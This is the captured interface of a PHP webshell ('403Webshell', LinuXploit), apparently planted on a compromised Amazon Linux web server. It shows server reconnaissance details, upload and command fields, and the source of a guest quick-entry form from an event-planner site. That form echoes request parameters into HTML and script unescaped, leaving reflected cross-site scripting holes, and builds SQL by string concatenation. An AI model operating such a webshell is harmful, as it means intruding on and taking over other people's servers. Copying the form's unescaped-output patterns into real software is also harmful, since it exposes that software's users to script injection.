403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdevplanner/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdevplanner/mod/guest_quick_entry.php
<?php include('_mod_security.php'); ?>
<?php
	//var_dump($_REQUEST);
	if (isset($_SESSION['user_id'])) :
		if (isset($_REQUEST['id']) && is_numeric($_REQUEST['id'])) :
			$action = "Edit";
		else :
			$action = "Add New";
		endif;
	else :
		exit();
	endif;
	if (empty($_REQUEST['ref'])) :
		$_REQUEST['ref'] = 'guests';
	endif;
	$active_tab = 'general';
	$sql = "SELECT * FROM events WHERE user_id = ".$_SESSION['user_id']."  AND id = ".$_SESSION['active_event']." ";
	$result_event = mysqli_query($GLOBALS['con'], $sql);
	if (mysqli_num_rows($result_event) > 0) :
		$row_event = mysqli_fetch_object($result_event);
	endif;
	if ($_POST['ajax_event_submitted'] == '1') :
		if (isset($_POST['active_tab'])) :
			$active_tab = $_POST['active_tab'];
		else :
			$active_tab = 'general';
		endif;
		$ar_err = array();
		if (empty($_POST['last_name'])) :
			$ar_err['last_name'] = 'Last name is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (empty($_POST['first_name'])) :
			$ar_err['first_name'] = 'First name is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (empty($_POST['guest_type'])) :
			$ar_err['guest_type'] = 'Guest type is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (!empty($_POST['so_first_name']) && empty($_POST['so_last_name'])) :
			$ar_err['so_last_name'] = 'Last name is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (!empty($_POST['c1_first_name']) && empty($_POST['c1_last_name'])) :
			$ar_err['c1_last_name'] = 'Last name is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (!empty($_POST['c2_first_name']) && empty($_POST['c2_last_name'])) :
			$ar_err['c2_last_name'] = 'Last name is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (!empty($_POST['c3_first_name']) && empty($_POST['c3_last_name'])) :
			$ar_err['c3_last_name'] = 'Last name is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (!empty($_POST['c4_first_name']) && empty($_POST['c4_last_name'])) :
			$ar_err['c4_last_name'] = 'Last name is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (!empty($_POST['c5_first_name']) && empty($_POST['c5_last_name'])) :
			$ar_err['c5_last_name'] = 'Last name is required!';
			$err_flag = true;
			$err_tab = 'general';
		endif;
		if (!$err_flag) :
			switch($_POST['guest_type']) :
				case ('C') :
					$guest_type = 'C';
					break;
				case ('P') :
					$guest_type = 'P';
					break;
				case ('S') :
					$guest_type = 'P';
					break;
				case ('G') :
					$guest_type = 'G';
					break;
			endswitch;
			$set = 	"guest_type = '".$guest_type."', ".
					"salutation = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['salutation']))."', ".
					"last_name = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['last_name']))."', ".
					"first_name = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['first_name']))."', ".
					"suffix = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['suffix']))."', ".
					"street = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['street']))."', ".
					"street2 = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['street2']))."', ".
					"city = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['city']))."', ".
					"state = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['state']))."', ".
					"zip = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['zip']))."', ".
					"country = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['country']))."', ".
					"phone = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['phone']))."', ".
					"mobile = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['mobile']))."', ".
					"email = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['email']))."', ".
					"facebook = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['facebook']))."', ".
					"instagram = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['instagram']))."', ".
					"twitter = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['twitter']))."' ";
			$sql = "INSERT INTO guests SET ".
				"user_id = ".$_SESSION['user_id'].", ".
				"event_id = ".$_SESSION['active_event'].", ".
				$set;
			//echo '==='.$sql.'===';
			mysqli_query($GLOBALS['con'], $sql) or die('Database Error!');
			$primary_id = last_id();
			store_family_member('so', $primary_id);
			store_family_member('c1', $primary_id);
			store_family_member('c2', $primary_id);
			store_family_member('c3', $primary_id);
			store_family_member('c4', $primary_id);
			store_family_member('c5', $primary_id);
			$form_message = "Saved sucessfully!  Add the next guest below or click Cancel.";
			if ($_POST['xsubmit'] == 'Additional Info') :
				echo "<SCRIPT>";
				echo "window.location.href = 'index.php?IX=guest_form&id=".$primary_id."'";
				echo "</SCRIPT>";
			endif;
			$_POST = array();
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	endif;
	function store_family_member($type, $primary_id)
	{
		if (empty($_POST[$type.'_first_name'])) :
			return;
		endif;
		if ($type == 'so') :
			$guest_type = 'S';
		else :
			$guest_type = 'C';
		endif;
		$set = 	"guest_type = '".$guest_type."', ".
				"primary_guest_id = ".$primary_id.", ".
				"salutation = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST[$type.'_salutation']))."', ".
				"last_name = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST[$type.'_last_name']))."', ".
				"first_name = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST[$type.'_first_name']))."', ".
				"suffix = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST[$type.'_suffix']))."', ".
				"street = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['street']))."', ".
				"street2 = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['street2']))."', ".
				"city = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['city']))."', ".
				"state = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['state']))."', ".
				"zip = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['zip']))."', ".
				"country = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['country']))."', ".
				"phone = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['phone']))."' ";
		$sql = "INSERT INTO guests SET ".
			"user_id = ".$_SESSION['user_id'].", ".
			"event_id = ".$_SESSION['active_event'].", ".
			$set;
		//echo '==='.$sql.'===';
		mysqli_query($GLOBALS['con'], $sql) or die('Database Error!');
	}
	
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	check_other = function(value, other_id)
	{
		//alert(value);
		if (value == 'Other...')
		{
			$('#' + other_id).show();
		}
		else
		{
			$('#' + other_id).hide();
		}
	}
	
	clear_family = function(type)
	{
		$('#' + type + '_salutation').val('');
		$('#' + type + '_salutation_mask').val('');
		$('#' + type + '_first_name').val('');
		$('#' + type + '_last_name').val('');
		$('#' + type + '_suffix').val('');
		$('#' + type + '_suffix_mask').val('');
	}
	
	copy_family = function(type)
	{
		$('#' + type + '_last_name').val($('#last_name').val());
	}
	
	copy_family_all = function()
	{
		if ($('#so_last_name').val() <= '' || $('#so_last_name').val() == null)
		{
			copy_family('so');
		}
		if ($('#c1_last_name').val() <= '' || $('#c1_last_name').val() == null)
		{
			copy_family('c1');
		}
		if ($('#c2_last_name').val() <= '' || $('#c2_last_name').val() == null)
		{
			copy_family('c2');
		}
		if ($('#c3_last_name').val() <= '' || $('#c3_last_name').val() == null)
		{
			copy_family('c3');
		}
		if ($('#c4_last_name').val() <= '' || $('#c4_last_name').val() == null)
		{
			copy_family('c4');
		}
		if ($('#c5_last_name').val() <= '' || $('#c5_last_name').val() == null)
		{
			copy_family('c5');
		}
	}
	
	switch_primary = function() 
	{
		if (document.getElementById('guest_type_s').checked)
		{
			$('#row_so').show();	
			$('#row_c1').show();	
			$('#row_c2').show();	
			$('#row_c3').show();	
			$('#row_c4').show();	
			$('#row_c5').show();	
			copy_family('so');
			copy_family('c1');
			copy_family('c2');
			copy_family('c3');
			copy_family('c4');
			copy_family('c5');
		}
		else
		{
			$('#row_so').hide();	
			$('#row_c1').hide();	
			$('#row_c2').hide();	
			$('#row_c3').hide();	
			$('#row_c4').hide();	
			$('#row_c5').hide();
			clear_family('so');
			clear_family('c1');
			clear_family('c2');
			clear_family('c3');
			clear_family('c4');
			clear_family('c5');
		}
	}
	
	$(document).ready(function()	
	{
		switch_tab('<?php echo $active_tab; ?>');
		switch_primary();
		$(':input').change(function() {sheet_dirty = true;} );
	}
	)
</script>

<h1>Guest Quick Entry</h1>
<?php get_help_guide('help_guest_quick_entry_'.$active_tab); ?>
<?php echo form_message($form_message); ?>

<form style="" name="frm_guest" id="frm_guest" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="general" />
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<div class="form_strip">
		<input type="button" value="Save" onclick="sheet_dirty = false; this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Additional Info" onclick="sheet_dirty = false; document.getElementById('xsubmit').value = this.value; this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Cancel" onclick="sheet_dirty = false; window.location.href = 'index.php?IX=<?php echo $_REQUEST['ref']; ?>'" />
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<div class="tab_strip">
		<div class="tab_header" id="tab_general" onclick="switch_tab('general');">
			Quick Entry
		</div>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<div class="tab_content" id="tab_content_general">
		<div class="form_header">
			Quickly add individual guests or families
		</div>
		<table class="input_block">
			<tr>
				<td width="120">
					Guest Type
				</td>
				<td colspan="3">
					<input name="guest_type" id="guest_type_s" type="radio" value="S" onchange="switch_primary();" onclick="switch_primary();" onblur="switch_primary();" <?php if ($_POST['guest_type'] == 'S') : echo 'checked="checked"'; endif; ?> />Family/Couple&nbsp;&nbsp;&nbsp;
					<input name="guest_type" id="guest_type_p" type="radio" value="P" onchange="switch_primary();" onclick="switch_primary();" onblur="switch_primary();" <?php if ($_POST['guest_type'] == 'P') : echo 'checked="checked"'; endif; ?> />Individual Adult&nbsp;&nbsp;&nbsp;
					<input name="guest_type" id="guest_type_c" type="radio" value="C" onchange="switch_primary();" onclick="switch_primary();" onblur="switch_primary();" <?php if ($_POST['guest_type'] == 'C') : echo 'checked="checked"'; endif; ?> />Individual Child&nbsp;&nbsp;&nbsp;
					<input name="guest_type" id="guest_type_g" type="radio" value="G" onchange="switch_primary();" onclick="switch_primary();" onblur="switch_primary();" <?php if ($_POST['guest_type'] == 'G') : echo 'checked="checked"'; endif; ?> />Gift Only&nbsp;&nbsp;&nbsp;
					<?php show_form_error($ar_err['guest_type']); ?>
				</td>
			</tr>
			<tr>
				<td>&nbsp;
				</td>
				<td>
					Salutation
				</td>
				<td>
					First Name
				</td>
				<td>
					Last Name
				</td>
				<td>
					Suffix
				</td>
			</tr>
			<tr>
				<td>
					Guest Name
				</td>
				<td>
					<?php
						auto_complete('salutation', $_POST['salutation'], $_POST['salutation'], "SELECT salutation, salutation FROM salutations ORDER BY seq, salutation", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['salutation']); ?>
				</td>
				<td>
					<input name="first_name" id="first_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['first_name']; ?>"  />
					<?php show_form_error($ar_err['first_name']); ?>
				</td>
				<td>
					<input name="last_name" id="last_name" style="width:200px;" type="text" maxlength="50" onblur="copy_family_all();" value="<?php echo $_POST['last_name']; ?>"  />
					<?php show_form_error($ar_err['last_name']); ?>
				</td>
				<td>
					<?php
						auto_complete('suffix', $_POST['suffix'], $_POST['suffix'], "SELECT suffix, suffix FROM suffixes ORDER BY seq, suffix", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['suffix']); ?>
				</td>
			</tr>
			<tr id="row_so">
				<td>
					Significant Other
				</td>
				<td>
					<?php
						auto_complete('so_salutation', $_POST['so_salutation'], $_POST['so_salutation'], "SELECT salutation, salutation FROM salutations ORDER BY seq, salutation", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['so_salutation']); ?>
				</td>
				<td>
					<input name="so_first_name" id="so_first_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['so_first_name']; ?>"  />
					<?php show_form_error($ar_err['so_first_name']); ?>
				</td>
				<td>
					<input name="so_last_name" id="so_last_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['so_last_name']; ?>"  />
					<?php show_form_error($ar_err['so_last_name']); ?>
				</td>
				<td>
					<?php
						auto_complete('so_suffix', $_POST['so_suffix'], $_POST['so_suffix'], "SELECT suffix, suffix FROM suffixes ORDER BY seq, suffix", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['so_suffix']); ?>
				</td>
			</tr>
			<tr id="row_c1">
				<td>
					Child 1
				</td>
				<td>
					<?php
						auto_complete('c1_salutation', $_POST['c1_salutation'], $_POST['c1_salutation'], "SELECT salutation, salutation FROM salutations ORDER BY seq, salutation", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['c1_salutation']); ?>
				</td>
				<td>
					<input name="c1_first_name" id="c1_first_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['c1_first_name']; ?>"  />
					<?php show_form_error($ar_err['c1_first_name']); ?>
				</td>
				<td>
					<input name="c1_last_name" id="c1_last_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['c1_last_name']; ?>"  />
					<?php show_form_error($ar_err['c1_last_name']); ?>
				</td>
				<td>
					<?php
						auto_complete('c1_suffix', $_POST['c1_suffix'], $_POST['c1_suffix'], "SELECT suffix, suffix FROM suffixes ORDER BY seq, suffix", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['c1_suffix']); ?>
				</td>
			</tr>
			<tr id="row_c2">
				<td>
					Child 2
				</td>
				<td>
					<?php
						auto_complete('c2_salutation', $_POST['c2_salutation'], $_POST['c2_salutation'], "SELECT salutation, salutation FROM salutations ORDER BY seq, salutation", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['c2_salutation']); ?>
				</td>
				<td>
					<input name="c2_first_name" id="c2_first_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['c2_first_name']; ?>"  />
					<?php show_form_error($ar_err['c2_first_name']); ?>
				</td>
				<td>
					<input name="c2_last_name" id="c2_last_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['c2_last_name']; ?>"  />
					<?php show_form_error($ar_err['c2_last_name']); ?>
				</td>
				<td>
					<?php
						auto_complete('c2_suffix', $_POST['c2_suffix'], $_POST['c2_suffix'], "SELECT suffix, suffix FROM suffixes ORDER BY seq, suffix", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['c2_suffix']); ?>
				</td>
			</tr>
			<tr id="row_c3">
				<td>
					Child 3
				</td>
				<td>
					<?php
						auto_complete('c3_salutation', $_POST['c3_salutation'], $_POST['c3_salutation'], "SELECT salutation, salutation FROM salutations ORDER BY seq, salutation", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['c3_salutation']); ?>
				</td>
				<td>
					<input name="c3_first_name" id="c3_first_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['c3_first_name']; ?>"  />
					<?php show_form_error($ar_err['c3_first_name']); ?>
				</td>
				<td>
					<input name="c3_last_name" id="c3_last_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['c3_last_name']; ?>"  />
					<?php show_form_error($ar_err['c3_last_name']); ?>
				</td>
				<td>
					<?php
						auto_complete('c3_suffix', $_POST['c3_suffix'], $_POST['c3_suffix'], "SELECT suffix, suffix FROM suffixes ORDER BY seq, suffix", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['c3_suffix']); ?>
				</td>
			</tr>
			<tr id="row_c4">
				<td>
					Child 4
				</td>
				<td>
					<?php
						auto_complete('c4_salutation', $_POST['c4_salutation'], $_POST['c4_salutation'], "SELECT salutation, salutation FROM salutations ORDER BY seq, salutation", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['c4_salutation']); ?>
				</td>
				<td>
					<input name="c4_first_name" id="c4_first_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['c4_first_name']; ?>"  />
					<?php show_form_error($ar_err['c4_first_name']); ?>
				</td>
				<td>
					<input name="c4_last_name" id="c4_last_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['c4_last_name']; ?>"  />
					<?php show_form_error($ar_err['c4_last_name']); ?>
				</td>
				<td>
					<?php
						auto_complete('c4_suffix', $_POST['c4_suffix'], $_POST['c4_suffix'], "SELECT suffix, suffix FROM suffixes ORDER BY seq, suffix", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['c4_suffix']); ?>
				</td>
			</tr>
			<tr id="row_c5">
				<td>
					Child 5
				</td>
				<td>
					<?php
						auto_complete('c5_salutation', $_POST['c5_salutation'], $_POST['c5_salutation'], "SELECT salutation, salutation FROM salutations ORDER BY seq, salutation", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['c5_salutation']); ?>
				</td>
				<td>
					<input name="c5_first_name" id="c5_first_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['c5_first_name']; ?>"  />
					<?php show_form_error($ar_err['c5_first_name']); ?>
				</td>
				<td>
					<input name="c5_last_name" id="c5_last_name" style="width:200px;" type="text" maxlength="50" value="<?php echo $_POST['c5_last_name']; ?>"  />
					<?php show_form_error($ar_err['c5_last_name']); ?>
				</td>
				<td>
					<?php
						auto_complete('c5_suffix', $_POST['c5_suffix'], $_POST['c5_suffix'], "SELECT suffix, suffix FROM suffixes ORDER BY seq, suffix", null, 100, null, null); 
					?>
					<?php show_form_error($ar_err['c5_suffix']); ?>
				</td>
			</tr>
		</table>
		<table class="input_block" style="margin-top:15px;">
			<tr>
				<td width="80">
					Street
				</td>
				<td>
					<input name="street" id="street" tabindex="2" type="text" maxlength="100" value="<?php echo $_POST['street']; ?>"  />
					<?php show_form_error($ar_err['street']); ?>
				</td>
				<td>
					Phone
				</td>
				<td>
					<input name="phone" id="phone" tabindex="9" type="text" maxlength="25" value="<?php echo $_POST['phone']; ?>"  />
					<?php show_form_error($ar_err['phone']); ?>
				</td>
			</tr>
			<tr>
				<td>&nbsp;
				</td>
				<td>
					<input name="street2" id="street2" tabindex="3" type="text" maxlength="100" value="<?php echo $_POST['street2']; ?>"  />
					<?php show_form_error($ar_err['street2']); ?>
				</td>
				<td>
					Mobile
				</td>
				<td>
					<input name="mobile" id="mobile" tabindex="10" type="text" maxlength="25" value="<?php echo $_POST['mobile']; ?>"  />
					<?php show_form_error($ar_err['mobile']); ?>
				</td>
			</tr>
			<tr>
				<td>
					City
				</td>
				<td>
					<input name="city" id="city" tabindex="4" type="text" maxlength="50" value="<?php echo $_POST['city']; ?>"  />
					<?php show_form_error($ar_err['city']); ?>
				</td>
				<td>
					Email
				</td>
				<td>
					<input name="email" id="email" type="text" tabindex="11" maxlength="100" class="mail_field" value="<?php echo $_POST['email']; ?>"  /><a id="linkout_email" href="mailto:<?php echo $_POST['email']; ?>"><img class="link_out" src="img/link_out_icon.png" /></a>
					<?php show_form_error($ar_err['email']); ?>
				</td>
			</tr>
			<tr>
				<td>
					State
				</td>
				<td>
					<?php
						$sql_str = "SELECT DISTINCT country_sort_code, country FROM states order by country_sort_code";
						$result_country = mysqli_query($GLOBALS['con'], $sql_str) or die('Database Error!');
						$sql_union = '';
						$str_union = '';
						while ($row_country = mysqli_fetch_object($result_country)) :
							$sql_union .= $str_union." (SELECT '__', '- - - - - - ".$row_country->country." - - - - - -') ".
								"UNION (SELECT state, state_name FROM states WHERE country_sort_code = ".$row_country->country_sort_code." ORDER BY state_name) ";
							$str_union = ' UNION ';
						endwhile;
						//echo $sql_union;
						auto_complete('state', $_POST['state'], $_POST['state'], $sql_union, null, null, null, 6, "set_country('state', 'country');"); 
						$sql_str = 'SELECT country, state, state_name FROM states ORDER BY country_sort_code, state_name';
						$result = mysqli_query($GLOBALS['con'], $sql_str) or die('Database Error!');
						echo '<script> var ar_states = []; ';
						while ($row = mysqli_fetch_object($result)) :
							echo 'ar_states["'.$row->state.'"] = "'.$row->country.'";'.PHP_EOL;
						endwhile;
						echo '</script>';
					?>
					<?php /* ?>
					<select name="state" id="state" tabindex="6" onchange="set_country('state', 'country');" >
						<option value="">State/Province...</option>
						<?php
							$sql_str = 'SELECT country, state, state_name FROM states ORDER BY country_sort_code, state_name';
							$result = mysqli_query($GLOBALS['con'], $sql_str) or die('Database Error!');
							$hold_country = '';
							while ($row = mysqli_fetch_object($result)) :
								if ($hold_country != $row->country) :
									echo '<option value="">- - - - - - '.$row->country.' - - - - - -</option>';
									$hold_country = $row->country;
								endif;
								$selected = '';
								if ($_POST['state'] == $row->state) :
									$selected = 'selected="selected"';
								endif;
								echo '<option attr_country="'.$row->country.'" value="'.$row->state.'" '.$selected.'>'.$row->state_name.'</option>';
							endwhile;
						?>
					</select>
					<?php */ ?>
					<?php show_form_error($ar_err['state']); ?>
				</td>
				<td>
					Facebook
				</td>
				<td>
					<input name="facebook" id="facebook" type="text" tabindex="12" class="link_field" maxlength="100" value="<?php echo $_POST['facebook']; ?>"  /><a id="linkout_facebook" target="_blank" href="<?php echo format_http($_POST['facebook']); ?>"><img class="link_out" src="img/link_out_icon.png" /></a>
					<?php show_form_error($ar_err['facebook']); ?>
				</td>
			</tr>
			<tr>
				<td>
					Zip Code
				</td>
				<td>
					<input name="zip" id="zip" tabindex="7" type="text" maxlength="15" value="<?php echo $_POST['zip']; ?>"  />
					<?php show_form_error($ar_err['zip']); ?>
				</td>
				<td>
					Instagram
				</td>
				<td>
					<input name="instagram" id="instagram" type="text" tabindex="13" class="link_field" maxlength="100" value="<?php echo $_POST['instagram']; ?>"  /><a id="linkout_instagram" target="_blank" href="<?php echo format_http($_POST['instagram']); ?>"><img class="link_out" src="img/link_out_icon.png" /></a>
					<?php show_form_error($ar_err['instagram']); ?>
				</td>
			</tr>
			<tr>
				<td>
					Country
				</td>
				<td>
					<input name="country" id="country" tabindex="8" type="text" maxlength="50" value="<?php echo $_POST['country']; ?>"  />
					<?php show_form_error($ar_err['country']); ?>
				</td>
				<td>
					Twitter
				</td>
				<td>
					<input name="twitter" id="twitter" type="text" tabindex="14" class="link_field" maxlength="100" value="<?php echo $_POST['twitter']; ?>"  /><a id="linkout_twitter" target="_blank" href="<?php echo format_http($_POST['twitter']); ?>"><img class="link_out" src="img/link_out_icon.png" /></a>
					<?php show_form_error($ar_err['twitter']); ?>
				</td>
			</tr>
		</table>
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<div class="form_strip">
		<input type="button" value="Save" onclick="sheet_dirty = false; this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Additional Info" onclick="sheet_dirty = false; document.getElementById('xsubmit').value = this.value; this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Cancel" onclick="sheet_dirty = false; window.location.href = 'index.php?IX=<?php echo $_REQUEST['ref']; ?>'" />
		<input type="hidden" name="xsubmit" id="xsubmit" />
	</div>
</form>


Youez - 2016 - github.com/yon3zu
LinuXploit